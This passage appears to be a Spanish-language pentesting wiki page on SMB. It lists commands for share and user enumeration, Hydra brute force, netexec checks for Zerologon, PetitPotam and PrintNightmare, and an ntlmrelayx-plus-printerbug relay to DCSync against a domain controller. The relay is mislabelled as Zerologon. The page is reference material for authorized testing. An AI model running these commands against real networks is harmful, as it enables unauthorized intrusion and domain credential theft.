Grimorio de XTORMIN
Xtormin GithubLinkedIn
  • Home
  • 🧠IA / AI
    • Investigación y automatización
    • IA en local
    • Plantillas de prompts
      • Informes de pentesting
  • 🏢Pentesting en Infraestructuras
    • Intrusión física
    • Redes Wi-Fi
      • Herramientas
      • Metodología de Pentest Wifi
      • WEP
      • WPA2-PSK / Red personal
      • WPA2-MGT / Red corporativa
    • Cloud
      • 🔷Azure
        • Herramientas
        • Metodología de Azure Pentest
        • AzureAD
        • Az Powershell
        • Az Cli
        • Portal de Azure
    • Perímetro
      • Acceso remoto
    • Red interna
      • Windows
      • Active directory
        • Enumeración manual
    • Servicios
      • FTP - 21/tcp
      • SSH - 22/tcp
      • DNS - 53/UDP
      • SMB - 135, 445 /tcp
      • SNMP - 161, 162, 10161, 10162/udp
      • IPMI - 623/udp/tcp
      • RDP - 3389/TCP
      • Redis - 6379/tcp
    • Misc
      • Transferencia de ficheros
  • 🌐Pentesting en aplicaciones web
    • General
      • Ataques y vulnerabilidades
        • Autenticación
          • Vulnerabilidades JWT
        • Javascript
          • XSS
          • Contaminación de prototipos - Prototype pollution
        • GraphQL
      • Explotación
        • Webshell
    • Tecnología
      • Jenkins
      • Salesforce
  • ⚒️Herramientas comunes
    • Recursos generales
    • Nmap
    • Nuclei
    • BloodHound
  • 👾MISC
    • [ Kali ] Setup
      • VPN
Con tecnología de GitBook
En esta página
  • Vulnerabilidades comunes
  • Checklist de vulnerabilidades
  • Enumeración
  • Identificación de hosts
  • Identificación de sistema operativo
  • Identificación de versión SMB
  • Identificación de carpetas compartidas
  • Módulos de Netexec
  • Enumeración de discos
  • Enumeración de usuarios
  • Acceso a recursos
  • Fuerza bruta
  • Hydra
  • Vulnerabilidades
  • Firma SMB deshabilitada
  • SMBv1 habilitado
  • Sesiones nulas habilitadas
  • CVEs
  • Referencias

¿Te fue útil?

  1. Pentesting en Infraestructuras
  2. Servicios

SMB - 135, 445 /tcp

Puerto/s

135

445

Protocolo/s

TCP

Vulnerabilidades comunes

  • Versiones de SMB desactualizadas (SMB v1/v2) con exploits conocidos.

  • Configuración insegura de permisos en carpetas compartidas.

  • Acceso con sesiones nulas (anonymous).

  • Credenciales por defecto o débiles.

  • Versiones de software con vulnerabilidades conocidas.

Checklist de vulnerabilidades

Vulnerabilidad
Descripción
Detalles

Firma SMB deshabilitada

La firma SMB no está habilitada, lo que permite ataques de Man-in-the-Middle (MITM).

SMBv1 habilitado

Uso de una versión obsoleta e insegura del protocolo SMB (SMBv1).

Sesiones nulas habilitadas

Permite conexiones anónimas (sin credenciales).

Credenciales por defecto o débiles

Cuentas sin contraseña o con contraseñas débiles.

Pendiente

Shares con permisos de escritura

Recursos compartidos con permisos de escritura para usuarios no autorizados.

Pendiente

Enumeración de usuarios

Permite extraer lista de usuarios a través de RPC, LSARPC, RID brute, etc.

Pendiente

CVEs

Vulnerabilidades públicas conocidas (Zerologon, Petitpotam, ...)

Enumeración

Identificación de hosts

Enumerar una red en busca de hosts:

NET='192.168.1.0/24'
nbtscan -r $NET

# Para una lista de IPs
for ip in $(cat ); do nbtscan -r $ip; done

Para enumerar los sistemas que cuenta con el servicio SMB:

  • Netexec:

netexec smb <red/IP/lista de servidores>
netexec smb 10.10.10.100
netexec smb 192.168.1.0/24
netexec smb 

Si se quiere realizar un escáner de una lista de subredes objetivo:

SCOPE_FILE='~/Pentest/scope/networks.txt'
for i in $(cat $SCOPE_FILE); do NET_FMTED="${i//\//-}" ; netexec smb $i --log "outputs/smb/netexec_$NET_FMTED_$(date +%Y%m%d).log" ; done
  • Nmap:

NET='192.168.1.0/24'
NET_FMTED="${NET//\//-}"
nbtscan -r $NET
nmap -p 139,445 --script 'smb-*' -oA nmap/"$NET_FMTED" $NET

Identificación de sistema operativo

git clone https://github.com/nopfor/ntlm_challenger.git

python ntlm_challenger.py 'smb://$IP'

Identificación de versión SMB

msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS file:/home/kali/

Identificación de carpetas compartidas

Sin autenticación

NET='192.168.1.0/24'
netexec smb $NET -u '' -p '' --shares --log "netexec_shares_nullsession_$(date +%Y%m%d).log"
IP='192.168.1.100'
smbmap -H $IP

# Para una lista de IPs
for ip in $(cat ); do smbmap -H $ip; done
IP='192.168.1.100'
smbclient -L //$IP -N

for ip in $(cat ); do smbclient -L //$ip -N; done
IP='192.168.1.100'
enum4linux-ng -A $IP
enum4linux -a $IP
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
enum4linux -a -u $USER -p $PASS $IP

Con autenticación

NET='192.168.1.0/24'
USER='Administrator'
PASS='password123'
DC='dc.xtormincorp.local'
netexec smb $NET -u $USER -p $PASS -d $DC --shares
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
netexec smb $IP -u $USER -H $HASH

Módulos de Netexec

Siendo, por ejemplo, xtormincorp el nombre del dominio y xtormin el usuario:

USER='xtormincorp\xtormin'
PASS='password123'

netexec smb scope.txt -u $USER -p $PASS -M coerce_plus --log "netexec_coerceplus_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M petitpotam --log "netexec_petitpotam_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M zerologon --log "netexec_zerologon_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M printnightmare --log "netexec_printnightmare_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M smbghost --log "netexec_smbghost_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M nopac --log "netexec_nopac_$(date +%Y%m%d).log"

Enumeración de discos

USER='Administrator'
PASS='password123'
IP='192.168.1.100'
netexec smb $IP -u $USER -p $PASS --disks

Enumeración de usuarios

USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Usuarios locales
netexec smb $IP -u $USER -p $PASS --loggedon-users --log "netexec_loggedonusers_$(date +%Y%m%d).log"

# Usuarios del dominio
netexec smb $IP -u $USER -p $PASS --users --log "netexec_users_$(date +%Y%m%d).log"

# Vía RID Cycling
netexec smb $IP -u $USER -p $PASS --rid-brute --log "netexec_ridbrute_$(date +%Y%m%d).log"

Enumeración de grupos

USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Grupos locales
netexec smb $IP -u $USER -p $PASS --local-groups --log "netexec_localgroups_$(date +%Y%m%d).log"

# Grupos del dominio
netexec smb $IP -u $USER -p $PASS --groups --log "netexec_groups_$(date +%Y%m%d).log"

Acceso a recursos

USER='Administrator'
PASS='password123'
IP='192.168.1.100'

smbmap -u $USER -p $PASS -H $IP
smbmap -u $USER -p $PASS -H $IP -R --exclude SYSVOL,IPC$
smbmap -u $USER -p $PASS -H $IP --download users$/user/azure.xml
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M spider_plus --log "netexec_shares_spider_$(date +%Y%m%d).log"

netexec smb $IP -u $USER -p $PASS -M spider_plus -o READ_ONLY=False --log "netexec_shares_spider_noreadonly_$(date +%Y%m%d).log"

Fuerza bruta

Hydra

USER_FILE=user.txt
PASS_FILE=pass.txt
IP='192.168.1.101'
hydra -L $USER_FILE -P $PASS_FILE $IP smb

Vulnerabilidades

Firma SMB deshabilitada

IP='10.10.10.100'
LOG="netexec_smbsigning_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "Signing: False"

SMBv1 habilitado

IP='10.10.10.100'
LOG="netexec_smbversion_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "SMBv1: True"

Sesiones nulas habilitadas

IP='10.10.10.100'
netexec smb $IP -u '' -p '' --log "netexec_nullsessions_$(date +%Y%m%d).log"

CVEs

Zerologon

Identificar si el DC ejecuta el servicio PrintSpooler:

rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"

Se ejecuta lo siguiente en una consola:

ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support

Se ejecuta lo siguiente en otra consola a la vez que el comando anterior:

python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12

Referencias

AnteriorDNS - 53/UDPSiguienteSNMP - 161, 162, 10161, 10162/udp

Última actualización hace 5 días

¿Te fue útil?

🏢
https://www.netspi.com/blog/technical-blog/network-pentesting/powerhuntshares-2-0-release/
https://www.netexec.wiki/
Firma SMB deshabilitada
SMBv1 habilitado
Sesiones nulas habilitadas
CVEs